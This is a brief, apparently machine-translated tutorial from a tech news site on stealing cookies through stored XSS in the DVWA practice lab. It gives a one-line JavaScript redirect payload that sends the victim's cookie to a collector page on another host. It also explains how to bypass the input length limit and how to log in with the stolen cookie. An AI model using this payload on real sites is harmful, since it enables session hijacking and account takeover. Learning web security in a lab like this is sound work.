Get the App
SLTechnology News&Howtos  ›  Network Security  › 

Experiment on stealing cookie from Storage xss

Shulou Source: shulou.com Published: 2022-06-01 07:25:45 11月26日 Update

Statement: For communication only, illegal and criminal activities are strictly prohibited, otherwise the consequences will be borne by yourself.

1. Environment ready to receive cookies:

ip = 172.24.10.105

Code: Save as getCookie.php

2. Insert js code in the experimental environment:

_document.location='http://172.24.10.105/getCookie.php? cookie='+[xss_clean];

Remove restrictions by reviewing elements and then insert js code

Then re-visit this page and find that there was a jump

and seeing cookies on the platform that received them.

Change browser settings Cookies

Direct access:

http://127.0.0.1/DVWA/

No password required Login

Welcome to Weixin Official Accounts

Tags: Code environment experiments success elements public consequences passwords platforms browsers pages communication preparation browsing crime login violations restrictions storage Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno Apple Linux MySQL Shulou Tech Info Shulou Information